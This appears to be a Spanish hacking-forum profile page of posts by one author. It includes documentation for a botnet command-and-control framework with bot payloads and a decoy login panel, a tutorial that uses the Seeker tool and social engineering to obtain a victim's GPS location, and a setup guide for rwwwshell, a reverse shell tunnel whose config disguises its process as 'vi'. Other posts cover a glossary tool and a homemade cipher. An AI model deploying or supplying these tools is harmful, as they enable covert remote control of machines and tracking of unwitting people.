Ahora pasemos a la explicación: Es sencilla la red, hay que saber usarla y cuándo, pero para poder entenderla hay que crear desde un principio lo que necesitamos e ir aumentando a medida que vayan incrementando los conocimientos.

Primero crearemos un Jacob (Administrador de los Rook's):

Pero antes de hacer éso, quiero aclarar que algunas herramientas necesitan acceso seguro a la base de datos que está encriptada, por lo tanto sí usted no introduce los parámetros se le va abrir un pequeño formulario requiriendo los datos. Sí no me cree, mirelo usted o mejor aún Pruébelo:


Code: (text) You are not allowed to view links. Register or Login
./addadmin.py -u <Nombre de usuario> -p <Frase de contraseña> -P <Frase de contraseña de la clave privada>
* Datos para desencriptar la frase de contraseña *
  ----------------------------------------------

Ingrese la frase de contraseña:
: **************
Ingrese los caracteres de seguridad:
: abcdefghijklmnopqrstuvwxyz1234567890
Ingrese el número de iteraciones:
: 43
Ingrese el número de seguridad:
: 30
Ingrese el número de disminución:
: 18
Se guardo satisfactoriamente en -> conf/pass

Notas:

  • Lo que acabo de introducir se genera lento en mi computadora, usted tiene que introducir lo necesario para obtener una mayor seguridad pero que el proceso no se vuelva tan lento; al fin y al cabo usted decide.
  • Sí ejecutan alguna herramienta que requiera la información para desencriptar la base de datos, se guardará en vez de comparar en caso de que conf/pass no exista
  • Sí ejecutan alguna herramienta que requiera la información para desencriptar la base de datos, se guardará en vez de comparar en caso de que conf/pass no exista
  • conf/pass es guardado con permisos "444", por favor verifique que sea así con "ls -l conf/pass" o si no hagalo de forma manual: chmod 444 conf/pass una vez ha sido creada.

¿Ven?, sería tedíoso que tuviera que introducir todas esas cosas, mejor usamos los poderes de la linda terminal :'D:

Code: (bash) You are not allowed to view links. Register or Login
# Primero veamos que regla estamos usando para guardar los comandos en el historial:
echo $HISTCONTROL
ignoreboth
# ¡Bien!, esa es la regla perfecta.
# Eso nos servirá para cuando introducimos un comando y no queramos que se guarde en el historial, ya que la idea es que no se registre una contraseña o algo sensible.
# Así que ahora guardemos lo que necesitamos en una variable
 declare -x params='-db-passphrase <La frase de contraseña> -db-iterations <Iteraciones> -db-chars <Caracteres de Seguridad> -db-decrement-number <Número de disminución> -db-security-number <Número de seguridad>'
# Cómo pueden notar, usé un espacio antes de escribir el comando, para que no se almacene en el historial.
# Claro, pueden hacer éso o pueden crear un script y lo cargan usando "source" o ".", pero se los dejo para la casa...

Ahora simplemente puede ejecutar:

Code: (bash) You are not allowed to view links. Register or Login
./addadmin.py -u <Nombre de usuario> -p <Frase de contraseña> -P <Frase de contraseña de la clave privada> $params
Code: (text) You are not allowed to view links. Register or Login
-*- ¿Es correcta la siguiente información? -*-

Nombre de usuario       ::   <Nombre de usuario>
Frase de contraseña     ::   <Frase de contraseña>
Contraseña RSA          ::   <Frase de contraseña de la clave privada>
Iteraciones             ::   43
Número de seguridad     ::   30
Número de disminución   ::   18
Caracteres de seguridad ::   abcdefghijklmnopqrstuvwxyz1234567890
Privilegios             ::   ALL
Max. de bot's           ::   0 (infinito)
Tamaño de la clave      ::   2048
¿Root?                  ::   0
->

Debe introducir "1" para continuar o "0" para salir, aunque "CTRL-C", también ayuda.

Notas:

  • Sí no quiere que le confirme los datos, usé "-no-confirm".
  • Cómo puede observar, hay caracteres rellenados automáticamente, puede editarlos introduciendo los parámetros correspondientes cómo: "-i, --iterations" para las Iteraciones "-sn, --security-number" para el "número de seguridad", "-c, --security-chars" para los Caracteres de seguridad y "-d, --decrement-number" para el Número de disminución o puede editarlos en el You are not allowed to view links. Register or Login.
  • Ser root no es lo mismo en Linux que en Syndicate, no se confunda; significa que todos los rook's ahora pertenecerán a todos los jacob's que son root, aunque esto es relativo, ya que si el maximo de bot's es mayor a "0" no se incluirá si llegó a su maximo.
  • Puede usar el You are not allowed to view links. Register or Login para Syndicate, si desea saber cuanto puede durar la generación y la comparación de su Hash antes de salir al campo de batalla.

Esperamos unos instantes, y para confirmar que todo salío perfecto, ejecuté:

Code: (bash) You are not allowed to view links. Register or Login
./addadmin.py -show $params

Ese comando le mostrará todos los Jacob's registrados.

Ahora pasemos a algo mejor. Creemos nuestro rook para un jacob:


Code: (bash) You are not allowed to view links. Register or Login
./addbot.py -u <Nombre del rook> -p <Frase de contraseña> -P <Frase de contraseña de la clave privada> -a <Jacob/s> $params
Vemos un parámetro nuevo, "-a" o también podría llamarse "--admin". Si no razonaste correctamente, te digo que es para agregar a los Jacob's a el nuevo rook.

Notas:

  • Puedes crear tantos rook's para jacob's dependiendo del maximo de bot's
  • El parámetro "-a, --admin" es de tipo lista, lo que quiere decir que para agregar a más de uno, tienes que usar una "," (coma) y sí el nombre tiene espacios usa comíllas cómo apoyo. Ejemplo: --admin "usuario, soy un usuario, otro"

Eso no es todo, necesitamos configurar You are not allowed to view links. Register or Login usando You are not allowed to view links. Register or Login mas los parámetros ya utilizados en anteriores herramientas.

Code: (bash) You are not allowed to view links. Register or Login
./auto-config.sh $params
Usted vería cada Clave, Sub-Clave y Valor. Los segundos de duración por cada uno, varian dependiendo de sus recursos, esto se debe a que se está encriptado cada dato.

A pesar de que se muestre la configuración al finalizar, tal vez usted quiera apreciarla para un después. Lo puede hacer así:


./evie-config.py -print-configuration $params

Notas:

  • Aunque You are not allowed to view links. Register or Login es un script, la herramienta que tiene el poder de hacer esta mágia es You are not allowed to view links. Register or Login, pero es mejor automatizar todo, para ahorrar tiempo.
  • Puede obtener más información del significado de las Claves, Sub-Claves y Valores desde el mismo You are not allowed to view links. Register or Login.

Ahora si que viene lo bueno

Ejecutamos You are not allowed to view links. Register or Login para iniciar el servidor:


Code: (bash) You are not allowed to view links. Register or Login
./evie.py -P <Frase de contraseña de la clave privada> $params
Sí ejecutamos por primera vez, verá algo así:

Code: (text) You are not allowed to view links. Register or Login
(00:33:04 ~ 26/11/2019)[Evie:ADVERTENCIA]:---:!: El par de claves aún no son son generados ... generando ...
(00:33:04 ~ 26/11/2019)[Evie:PERSONAL]:------:+: Tamaño a generar: "2048"
(00:33:11 ~ 26/11/2019)[Evie:INFORME]:-------:*: El par de claves fueron generadas ...
(00:33:11 ~ 26/11/2019)[Evie:INFORME]:-------:*: Desencriptando ...
(00:33:12 ~ 26/11/2019)[Evie:INFORME]:-------:*: ¡Clave desencriptada!
(00:33:12 ~ 26/11/2019)[Evie:INFORME]:-------:*: Generando clave secreta ...
(00:33:12 ~ 26/11/2019)[Evie:PERSONAL]:------:+: Clave secreta generada -> b22f 34b4 1c48 b8dd dad3 dcfc d0b6 986d 081f 80f3 959d 3de0 1075 6ea1 dfc2 ad45
(00:33:12 ~ 26/11/2019)[Evie:INFORME]:-------:*: Generando un nuevo token de acceso ...
(00:33:12 ~ 26/11/2019)[Evie:PERSONAL]:------:+: Token de acceso generado -> 8502382584368ce06c336c793750815f400697daaff7dc8244e849b75135d638
(00:33:12 ~ 26/11/2019)[Evie:ADVERTENCIA]:---:!: No se encontraron los requerimientos necesarios para usar el protocolo de forma (más) segura. Usando HTTP ...
(00:33:12 ~ 26/11/2019)[Evie:PERSONAL]:------:+: Escuchando en :: http://0.0.0.0:8081/hmKReYEJrMWB8l48yvsENaLlMT1ijqIiU2nU6RGiKnanCZEkimT0lh2xW-xS1xYP6rJX1uWmxbp2bOeSVCCfJQ

No explicaré todo, porque hay cosas que son sencillas y otras ya las explique, pero sí que hay algo nuevo. ¿Qué deminios es esa ruta?; la ruta se genera de forma aleatoria y segura, puede usar los archivos de configuración para evitarlo, pero recomiendo que lo deje así.

Lo negativo de usar una ruta aleatoria es que si el servidor se "apaga" y se inicia nuevamente, tendrá otra ruta, lo que quiere decir que los Jacob's tendran que saberlo; es recomendable sólo cuando hay pocos Jacob's.

Ahora para que Evie tenga algún sentido en la vida, que tal si ejecutamos la You are not allowed to view links. Register or Login, pero antes quiero aclarar algo que tiene que ver con los complementos, aunque aún no me adentraré en aguas turbulentas, por ahora estamos en la orilla del mar (Eso es en otra sección). Prosigamos:

Tenemos que tener en cuenta que los complementos necesitan requerimientos, cosa que mencionaré en la instalación, aunqué podemos edítar You are not allowed to view links. Register or Login del payload y remover o agregar lo que necesitemos.

Bien, una vez aclarado, necesitamos la Clave Pública de Evie y la Clave Privada del Rook; La obtenemos de la siguiente forma:


Code: (bash) You are not allowed to view links. Register or Login
./show_server_keys.py $params | more
...
Clave Pública:
...
Clave Privada:
...

Usamos "more" para delimitar la salida y ver lo que necesitamos, la clave pública. La seleccionamos, copiamos y la guardamos en una ruta segura, cómo "/tmp":

Code: (bash) You are not allowed to view links. Register or Login
nano /tmp/<Nombre de la clave pública> # Una vez abierto "nano" pegamos la clave pública y la guardamos
...

Hacemos el mismo procedimiento, pero esta vez será para la Clave Privada del Rook:

Code: (bash) You are not allowed to view links. Register or Login
./addbot.py -show -option keys -P <identificador del rook>:<Frase de contraseña para desencriptarla> $params
Nota: Puede asignarle permisos de escritura y lectura dependiendo de su usuario al par de claves para mayor seguridad.

Recordatorio: Cómo ve, deje un espacio para que no se guarde el comando en el historial

Esta vez vemos nuevos parámetros con argumentos interesantes:


  • -show: Mostramos los usuarios disponibles.
  • -option: Usamos una clave especifica para ver algo especifico de la información del usuario. Podemos usar el parámetro "-h, --help" para ver la ayuda dónde también nos mostrara las claves que acepta.
  • -P: La frase de contraseña de la clave privada, siguiendo la siguiente sintaxis: <identificador del rook>:<Frase de contraseña para desencriptarla>

Buscamos el rook y la clave privada desencriptada, hacemos el mismo procedimiento que hicimos con la clave pública de Evie

Code: (bash) You are not allowed to view links. Register or Login
nano /tmp/<Nombre de la clave privada> # Una vez abierto "nano" pegamos la clave privada y la guardamos
...

Ahora sí, ejecutemos el You are not allowed to view links. Register or Login

Code: (bash) You are not allowed to view links. Register or Login
./payload.py -b <Identificador del Rook> -pass <Frase de contraseña del Rook> -a <Dirección de Evie> -p <Puerto> -pub-key <Clave pública de Evie> -priv-key <Clave privada del Rook> -proto <Protocolo, puede ser http o https> -sleep-check <Intervalos en que se hace una petición para ver si hay comandos en cola> -db-path <El nombre de la base de datos> -db-pass <Frase de contraseña de la base de datos>
Explico poco a poco lo que siento que pueden tener dudas:

  • -sleep-check: Rook hace una petición a el/los servidor/es para verificar si algún Jacob propuso un comando en cola cada intervalo de segundo determinado
  • -db-path: Los rook's tienen bases de datos que se almacenan en el directorio temporal del sistema operativo (encriptada, por supuesto), si no especificamos un nombre se genera de forma aleatoria y si ejecutamos otra vez el payload tendremos otra ruta aleatoria, por éso, es mejor especificarla.
  • -db-pass: La frase de contraseña para cifrar la base de datos

Nota: Puede usar el parámetro "-no-verbose" para que no imprima el resultado de alguna operación

Esto es una prueba, por lo que todo se hará por la consola, ya hablare sobre como usar la programación a nuestro favor.

Necesitamos interactuar con el Rook para ello ejecutamos You are not allowed to view links. Register or Login.


Code: (bash) You are not allowed to view links. Register or Login
./control.py $params
Puedes observar en las Las capturas de pantalla cómo se vería

Nota: Quiero aclarar que la aplicación es una DEMO, no es para entornos reales, por lo tanto no te sorprendas si no es igual de bonita que Vim ;).

Nos mostrara primero un panel de inicio de sesión, tenemos que rellenar los datos deacuerdo a lo aprendido

Al terminar de iniciar sesión lo primero que hará será enviar un comando "ping" para verificar si sus credenciales son correctas, luego enviara el comando "listBots" para obtener la lista de rook's que le pertenecen.

Sí ocurre un error puede ser por los siguientes motivos:


  • No tiene privilegios para listar rook's o ejecutar ping
  • Ingreso una ruta incorrecta
  • El servidor lo está bloqueando
  • El servidor no existe
  • Ingreso datos incorrectos
  • Faltan valores
  • No existe la clave pública o la clave privada

Eso es sólo unos cuantos motivos por lo que no podrá iniciar sesión, recuerde tiene que ingresarlos exactamente cómo se creó; exceptuando a iterations, porque si usted coloca un número mayor al verdadero pero los demás datos son correctos, no habrá problemas.

Sistema anti fuerza bruta:

El sistema anti fuerza bruta de Syndicate es sencillo, primero tendremos que comprender que es el Hash dinámico, cosa que ya explique en las aclaratorias.

En Syndicate al crear un usuario además de la información de perfil, existen algunos datos de seguridad, cómo son los Caracteres de seguridad, Número de seguridad, Número de disminución e Iteraciones; Los cuales su funcionamiento principal es generar un Hash. El hash puede tener el mismo dato (Como una contraseña), pero si se introduce cualquier dato diferente al resto de los datos de seguridad el Hash será diferente.

Mientras el proceso sea más lento, mejor en un buen sentido, ¿Por qué?, simplemente porque si un atacante quiere hacer fuerza bruta al servidor, obligatoriamente tiene que tener: El usuario, Frase de contraseña, Los datos de seguridad, La clave pública del servidor, la clave privada y la clave única inclusive.

De hecho otra cosa que es muy importante en cuanto a la seguridad es la Clave única que cambia cada vez que el Jacob al que le pertenece, inicia sesión.

Claro que eso no es todo, el atacante debe conocer la ruta del servidor que puede ser una aguja en un pajar.

Sumando todo esto, también nos vemos que en la configuración especificamente las claves honeypot y login vemos unas sub claves, como pueden ser:


  • Login:

    • max_retry: El maximo de intentos fallídos
    • retry_seconds: El tiempo de espera
    • denied_method: El método de denegación que pueden ser:
      • forIP: Bloquea a un usuario por dirección IP. Tiene sus pros y contras; entre sus pros puede ser que no es tan fastidioso, ya que si un atacante está bloqueado por dirección IP, nosotros (Los usuarios) podemos acceder cómo si no fuera pasado nada, pero entre sus contras, muy fácil de bypassear
      • forRetry: Bloquea a un usuario por el nombre en vez de la dirección IP. Es bueno porque así no se bypassea tan fácil, pero también nos bloquearía a nosotros.
  • honeypot: Si un dato coincide con lo requerido, se ejecuta una de estas operaciones:

    • user_agent_black_list: La lista para bloquear a un usuario por Agente de usuario
    • blacklist: La lista para bloquear a un usuario por Dirección IP
    • honeypot_list: En vez de bloquear ¿Qué tal si usaramos una herramienta cuando haya un coincidencia?; así es, por ejemplo podriamos usar nmap, cuando haya una coincidencia en la lista para escanear a ese usuario. *Necesitamos especificar las herramientas a usar en la clave tools *

Nota: También disponemos de expresiones regulares en todas las listas. Pueden ver más informacion en el You are not allowed to view links. Register or Login

¿Eso es todo?... ¡NO!. Si ingresamos por la URL del servidor en nuestro navegador, vemos que nos salta una autenticación le digo que ese es el panel de control web falso, es mera distracción 3:).

De hecho trato de simular Apache en la información que se pueda obtener. Puedes editar los valores en el You are not allowed to view links. Register or Login y las plantillas en You are not allowed to view links. Register or Login


¿Segunda parte?

Lo mostrado anteriormente fue un poco de la documentación. Puede encontrar mucha más información acerca del proyecto, pero aún me falta mucho que redactar, así que poco a poco lo ire actualizando.

Respecto a la segunda parte tratara sobre cómo usar el proyecto para construir una Botnet Punto a Punto, cómo usar la red en cadena para comunicarse con otro Evie y está vez co-protagonizare esta pelicula con un compañero del foro .

Puede encontrar la documentación en mi repositorio, donde también podras descargar el proyecto: github.com/DtxdF/Syndicate

Capturas de pantalla:

Inicio de sesión para los Jacob's:



Interactuando con un Rook:



Red en cadena:



Compartiendo un Rook:



Creador:

~ DtxdF (Jesús D. Colmenares)

Agradecimientos:

You are not allowed to view links. Register or Login: Gracias a tí, si estás leyendo ésto. Tú me ayudaste mucho con los complementos antes de que me surgiera la idea, es admirable que alguien dedique parte de su tiempo a escribir código a alguien que apenas sabe su nombre, pero mucho más a alguien que seguira aportando a este proyecto. Muchas gracias Kirari.
You are not allowed to view links. Register or Login: Gracias por aportar a la comunidad con su proyecto You are not allowed to view links. Register or Login, gracias a él, muchos complementos de Syndicate existen.
You are not allowed to view links. Register or Login: Creador de You are not allowed to view links. Register or Login, una pequeña pero poderosa libreria para hacer desastres con el router usando UPnP :D. Gracias por compartirlo y por dar vida a una caracteristica especial de los rook's

Sí hay alguien que me falta, comunicame inmediantamente

Extras:

Le prometí a un compañero del foro "AXCESS", que le dedicaría un *Gato*, por mera diversión:



*El gato de AXCESS reaccionando sobre el post*

~ DtxdF

48
Computer-Kingdom

Hace mucho tiempo no escribo para Underc0de, pues resulta que hoy les traigo un aporte pequeño pero interesante. Es más una utilidad que nos permitirá buscar palabras informáticas, ya sea que tengamos dudas sobre una nueva palabra que nos pasa por la mente o nuestros recuerdos estén introvertidos.

No quiero llenarlos de palabras, así que continuemos con lo bueno...

La descarga:

Cómo siempre nuestro buen Git se encargá de todo, asi qué:

Code: You are not allowed to view links. Register or Login
git clone https://github.com/Kirari-Senpai/Computer-Kingdom
cd Computer-Kingdom
python3 -m pip install -r requirements.txt
chmod 755 ./kingdom
./kingdom



En la captura de pantalla que se aprecía arriba, podemos observar dos opciones; La primera nos permite buscar una palabra especifica y la segunda nos permite buscar palabras por patrones.

Eligamos la opción "1" y vemos que aparecen una tabla con una serie de letras a seleccionar, YO, seleccionare la "H", luego escribire la palabra "Hacker" (Ojalá no tenga una mala definición):





¡Efectivamente!, Una definición muy bonita para lo que es en verdad.

¿Que tal si ahora buscamos palabras por patrones?. Lo hacemos con la opción dos y seleccionamos una letra, igual que la opción "1":



Igualmente seleccioné la letra "H". Ahora coloquemos el patrón/palabra "http" y veamos que aparece:



Ahora lo que debemos seleccionar es el indíce de la coincidencia y se abrira nuestro navegador por defecto.

Bueno gente, muchas gracias por leer, que tengan una feliz vida.

Creador y Colaborador:

You are not allowed to view links. Register or Login: Creador.
You are not allowed to view links. Register or Login: Colaborador.

- DtxdF

49
Python / Cifrado de Shalom
« on: August 16, 2019, 12:59:59 pm »
Cifrado de Shalom




Hace ya algunos días hice público un método de cifrado que cree/descubrí usando saltos en un mapa de caracteres, por lo que no necesitare explicar más que su uso en Python. Aunque puedes hacerlo desde: "You are not allowed to view links. Register or Login".


Su instalación es verdaderamente sencilla.

Comencemos:


Code: You are not allowed to view links. Register or Login
git clone https://github.com/DtxdF/Shalom.git
cd Shalom
python3

Su uso igualmente:

Code: (python) You are not allowed to view links. Register or Login
from shalom_v2 import Shalom
shalom = Shalom(index=-6)
text = shalom.encrypt('Hola!', [-4, 9, 15, -7, -5])
print('Encrypt: ' + str(text))
Encrypt: [(74, 10), (126, -3), (129, -9), (96, 13), (34, 11)]
print('Decrypt: ' + shalom.decrypt(text))
Decrypt: Hola!

Hay otros parametros que es recomendable usar en la vida real. Esos son:

Code: (python) You are not allowed to view links. Register or Login
shalom.hard(rang=n)
Dónde "n" es un número cualquiera, pero hay que tener cuidado porque en una máquina con bajos recursos podría tardar dependiendo de la contraseña (mapa de caracteres)

Este se encargara de agregar tantos caracteres dependiendo del rango para aumentar la seguridad

Code: (python) You are not allowed to view links. Register or Login
shalom.random(rang=n)
Este se encargara de usar el algoritmo de shuffle para que coloque aleatoriamente todos los caracteres.

¿Prestaste atención?, ¿te imaginas combinar los dos últimos métodos?.

Nota: Hay tres parámetros que acepta la función Shalom, siendo estos: "index", indicando cuanto debe mover los caracteres del mapa de caracteres, "rest", el resto para obfuscar los saltos y "password", que puede ser una lista o un texto.

Espero les guste y lo compartan, les deseo buen día ...

- DtxdF

50
Off Topic / ¿Y, si compartes tu algoritmo de cifrado? ...
« on: August 11, 2019, 02:41:04 pm »


¿Preparados? ...

Prepárense, cierren las ventanas, las cortinas, preparen el casco de aluminio y pónganse cómodos. Hoy les quiero hablar de los métodos de criptografia o codificación, pero ..., esta vez la crearan ustedes.

Ya hacía tiempo "Y mucho" que existen los cifrados y codificaciones, pero les quiero dar la oportunidad que puedan crear o descubrir, solo con su mente, un algoritmo para este fin.

En mi caso yo les traeré uno llamado el cifrado de shalom, que se me ocurrió mientras visualizaba un abecedario.

Empecemos ...

Primero hay que tener en cuenta algunos datos "Explicare todo poco a poco":

  • Mapa de caracteres, en mi caso un simple abecedario "Aunque si somos creativos y queremos ir mas allá, podríamos utilizar la tabla ASCII": Nos servirá como tabla de caracteres
  • Palabra: La palabra que usaremos "Tendrá que contener las letras del abecedario o mapa de caracteres". En mi caso será "Hola"

Hay más variables que necesitaremos, pero las explicare más adelante.

El abecedario ..., Como ya mencione anteriormente el abecedario o también podríamos usar algún mapa de caracteres se encarga de tener un orden en los caracteres para el cifrado y podemos llamarlo "Clave o Contraseña", ya que lo debe tener tanto el emisor como el receptor; Aunque te estés imaginando el abecedario ordenado, te digo amigo/a mío/a no sera necesario.

Usaremos para explicar mejor el paradigma, el abecedario de forma ordenada.

A; B; C; D; E; F; G; H; I; J; K; L; M; N; O; P; Q; R; S; T; U; V; W; X; Y; Z

Otro dato a tener en cuenta que modificara el abecedario es el Indice. Este se encarga de mover a la derecha o izquierda las letras del abecedario y invierte el orden de ese segmento; Si se desea mover a la derecha, se coloca un número positivo y, si se desea mover a la izquierda se coloca un número negativo.

Usare un Indice de 6. Por lo tanto quedaría de esta forma:

Z; Y; X; W; V; U; A; B; C; D; E; F; G; H; I; J; K; L; M; N; O; P; Q; R; S; T

Un truco para hacer lo que hice en cuestión de segundos es, que si un número es positivo, el "6" en mi caso, contare de la última letra del abecedario, osea de derecha a izquierda, 6 veces y colocaría esas letras al otro extremo del abecedario o mapa de caracteres invertidos en orden. Lo contrario seria si el número seria negativo.

Ciframos ..., Vamos a cifrar la palabra "Hola". Primero debemos ubicar todas las letras que utilizaremos y las marcaremos para tener un orden; Posteriormente vamos a definir otra variable llamada Saltos, donde esos saltos significan el retroceso o avance, que definirán otra letra. Ejemplo en caso de la H(ola), le quiero aumentar 4 saltos, así que empezamos a ver que letra sera ahora con los saltos añadidos:

L. Por que si "Saltamos" de letra en letra, cuatro veces "Caeremos" en la "L", según nuestro abecedario modificado con nuestro indice.

Colocaremos en la esquina superior-derecha el número de saltos que usamos invertidos "Como si se tratase de una potencia", en este caso, "-4".

Pasare a cifrar las demás letras. H(4) significa ahora L(-4), O(-3) significa ahora L(3), L(2) significa ahora N(-2), A(-1) significa ahora U(1)

Los números que acompañan a las letras dentro de los paréntesis son los indices de grado de estos. Por lo tanto el mensaje seria ahora: "L(-4)L(3)N(-2)U(1)".

NOTA: Si notan algo peculiar es que los indices de grados de los saltos están en secuencia descendente "Ustedes pueden usar cualquiera".

Resto de diferencia ..., Se encarga de aumentar o disminuir los números de los indices de grado y aumentar un extra de seguridad. En mi caso elegiré el "6" para el resto de diferencia.

Algo que hay que tener en cuenta antes de continuar es que si usaremos un número positivo/negativo en el resto de diferencia, el receptor debe asignarle el signo contrario para que le de el número correcto.

Bien, una vez aclarado, hagamos las operaciones: L(-4+6)L(3+6)N(-2+6)U(1+6) = L(2)L(9)N(4)U(7)

Enviamos el mensaje ...

Algo que hay que tener en cuenta es que solo 3 datos los tienen que tener tanto el emisor como el receptor y solo 1 de estos es modificable y se podrá enviar públicamente.

Entre los no modificables serán y lo deben de tener de forma privada:

  • El abecedario o el mapa de caracteres
  • El resto de diferencia

El dato que sera modificable y público por el emisor será:

  • El indice

Para dar otro extra de confidencialidad cambiaremos las letras a números. Esto lo hacemos solo enumerando todas las letras del abecedario modificado por el indice. En mi caso es:

L(2)L(9)N(4)U(7) = 18(2)18(9)20(4)6(7)

Ahora lo que debemos enviar, solamente será el indice y el mensaje.

El receptor ...

Ahora para poder decifrarlo con los únicos datos que tenemos: "18(2)18(9)20(4)6(7)", mensaje y "6", resto de diferencia. Lo hacemos de la siguiente manera:

Enumeramos las letras del abecedario y convertimos los números que están al lado de los paréntesis en letras:

18(2)18(9)20(4)6(7) = L(2)L(9)N(4)U(7)

Luego con el resto de diferencia hacemos una operación con los números dentro de los paréntesis para obtener el valor verdadero:

L(2)L(9)N(4)U(7) = L(2-6)L(9-6)N(4-6)U(7-6) = L(-4)L(3)N(-2)U(1)

Ahora si en el paréntesis aparecen números positivos saltaremos letras del abecedario a la derecha y lo contrario si es a la izquierda. Esto quedaría de la siguiente forma:

L(-4)L(3)N(-2)U(1) = H(-4)O(3)L(-2)A(1) = HOLA

Eso es todo compañeros/as, estuve planeando el algoritmo desde ayer. Espero les sea de utilidad y Espero que comenten su propio algoritmo. Cualquier duda comentalo en este post.

- DtxdF

51
Hacking / Tutorial como geolocalizar a una persona por su IP y GPS
« on: July 31, 2019, 02:19:37 am »


Tutorial como geolocalizar una persona por medio de su dirección IP y su GPS

¿Un título un poco largo?, pues si, pero la explicación sera más "corta" de lo que parece. Hace tiempo hice un tutorial de como rastrear por medio de su dirección IP (Tengo que hacer énfasis que la ubicación sera la de el ISP, no la real), pero mucha gente, quizás nueva en el tema o nueva en el foro, aún tiene esa duda. Asi que aquí explicare como por medio de una API puedes ratrearla y como extra veremos como usando el GPS de nuestro Android lo podemos hacer con un poco de ingeniería social.

Dense

Este es un pequeño programa que lo puedes encontrar en "You are not allowed to view links. Register or Login", que tiene como objetivo facilitar el rastrear una dirección IP, y digo facilitar ya que usa una API; Por lo tanto puedes utilizarla para crear tu propio Geolocalizador.

Code: You are not allowed to view links. Register or Login
git clone https://github.com/DtxdF/Dense
cd Dense
php -S 127.0.0.1:80 &
firefox http://127.0.0.1:80 &

¿Que hice?

  • Clono el repositorio
  • Accedo a la carpeta
  • Inicio el servidor de pruebas de php
  • Abro la aplicación web por medio de firefox

El uso es realmente sencillo, lo único que debes hacer es introducir la dirección IP o Nombre de dominio a rastrear. Imagen para que entiendas mejor:



Ya seleccionado su objetivo "En mi caso usare underc0de.org" ::)







-Que programa tan aburridoooo!!- Pues crea el tuyo simplemente utilizando la API desde la siguiente dirección y sintaxis:

Code: You are not allowed to view links. Register or Login
https://ip-api.com/json # te mostrara la información de tu dirección IP
https://ip-api.com/json/<Dirección IP o Nombre de dominio>

Ejemplo:

https://ip-api.com/json/underc0de.org


¿Lo intentaste desde tu navegador? -Si, pero ahora quiero editar todos esos datos-, bueno para hacer eso simplemente usa curl "Para pruebas" o tu lenguaje de programación favorito. Mira estos ejemplos:

Code: (python) You are not allowed to view links. Register or Login
# -*- coding: UTF-8 -*-

import requests

ip_to_track = 'underc0de.org'
data = requests.get("http://ip-api.com/json/" + ip_to_track).json()

for key, value in data.items():
    print("%s: %s" % (key, value))


Code: (php) You are not allowed to view links. Register or Login
<?php

$ip_to_track 
'underc0de.org';
$data json_decode(file_get_contents('http://ip-api.com/json/'.$ip_to_track));

foreach (
$data as $key => $value) {

    echo 
sprintf('%s: %s'$key$value);

}

?>


¿Sencillo?, ¿Insatisfecho?, -Claro que estas insatisfecho-, ya que no te proporciono la ubicación real o ¿si?. ¿Recuerdas que es la ubicación de nuestro ISP?

Seeker. No te puedo dejar a pesar de lo lejos que estas ...

Esta herramienta nos proporciona una fiabilidad de 29-30 metros de proximidad, mientras que en iphone es de 65 metros de proximidad!. Vamos a instalarla y ejecutarla:

En Kali linux, Ubuntu y parrot OS

Code: You are not allowed to view links. Register or Login
git clone https://github.com/thewhiteh4t/seeker.git
cd seeker/
chmod 777 install.sh
./install.sh

En BlackArch

Code: You are not allowed to view links. Register or Login
git clone https://github.com/thewhiteh4t/seeker.git
cd seeker/
chmod 777 arch_install.sh
./arch_install.sh

Termux

Code: You are not allowed to view links. Register or Login
git clone https://github.com/thewhiteh4t/seeker.git
cd seeker/
chmod 777 termux_install.sh
./termux_install.sh

Ejecutamos ./seeker.py, enviamos por medio de ingeniería social (Hazlo con tu responsabilidad bajo una simulación, como lo estoy haciendo yo) el link de ngrok que nos muestra la interfaz. Miren lo que vera el cliente:



El cliente pincha el botón y activa la ubicación



El cliente sigue con la interacción



Pantalla del atacante. Visualizamos los datos obtenidos en nuestro ataque



Conclusión

Quiero que experimente no solo el uso, si no, la personalización, para que fomenten el aprendizaje y mejoren sus habilidades.

Tutorial sobre BreadBad: You are not allowed to view links. Register or Login

Recuerda deja tu comentario; Es la única forma de pago que te ofrezco ...

- DtxdF

52
Hacking / rwwwshell: Reviendo la infancia con Mr. Robot
« on: July 06, 2019, 11:55:31 am »


rwwwshell (Reverse WWW Shell Tunnel):

Recuerdas el episodio cuando eliot deja una puerta trasera en Evil Corp pero luego tenia que desactivarla?

Para lograr esto se conecta a la maquina infectada de Evil Corp y procede a limpiar sus huellas usando el comando SHRED

Tutorial de rwwwshell:

Lo que más me costo encontrar es información acerca de esta herramienta, espero que a ustedes no le pase lo mismo. Ahora vayamos directo al grano.

Para usar rwwshell tendremos que descargarla o mejor dicho clonarla:

Code: You are not allowed to view links. Register or Login
git clone https://github.com/DtxdF/rwwwshell.git

Accedemos al directorio y ejecutamos:

Code: You are not allowed to view links. Register or Login
cd rwwwshell
perl rwwwshell-2.0.pl

Code: You are not allowed to view links. Register or Login
Nos aparecerá un poco de información y algo llamado "modos":


Estos modos definen básicamente quien seras en este juego, un "master" (El atacante) o un "slave" (Una victima),
Antes de ejecutar rwwwshell-2.0.pl vamos a configurarlo:

Code: You are not allowed to view links. Register or Login
vim rwwwshell-2.0.pl # Lo abrimos con nuestro editor preferido
# Si nos dirigimos a la linea 24 nos damos cuenta de que aqui comienza la configuración y en la linea 53 termina!
# En mi caso yo solo configurare dos variables
$LISTEN_PORT=8080; # El puerto en escucha en caso de ser un master y para conectar en caso de ser un slave
$SERVER="127.0.0.1"; # El host que estara en escucha en caso de ser un master y el host a conectar en caso de ser un slave

Archivo de configuración completo:

Code: You are not allowed to view links. Register or Login
#
# GENERAL CONFIG (except for $MASK, everything must be the same
#                 for MASTER and SLAVE is this section!)
#
$MODE="POST";                    # GET or POST
$CGI_PREFIX="/cgi-bin/orderform";# should look like a valid cgi.
$MASK="vi";                      # for masking the program's process name
$PASSWORD="THC";                 # anything, nothing you have to rememeber
                                 # (not a real "password" anyway)
#
# MASTER CONFIG (specific for the MASTER)
#
$LISTEN_PORT=8080;      # on which port to listen (80 [needs root] or 8080)
$SERVER="127.0.0.1";    # the host to run on (ip/dns) (the SLAVE needs this!)

#
# SLAVE CONFIG (specific for the SLAVE)
#
$SHELL="/bin/sh -i";    # program to execute (e.g. /bin/sh)
$DELAY="3";             # time to wait for output after your command(s)
#$TIME="14:39";         # time when to connect to the master (unset if now)
#$DAILY="yes";          # tries to connect once daily if set with something
#$PROXY="127.0.0.1";    # set this with the Proxy if you must use one
#$PROXY_PORT="3128";    # set this with the Proxy Port if you must use one
#$PROXY_USER="user";    # username for proxy authentication
#$PROXY_PASSWORD="pass";# password for proxy authentication
#$DEBUG="yes";          # for debugging purpose, turn off when in production
$BROKEN_RECV="yes";     # For AIX & OpenBSD, NOT for Linux & Solaris

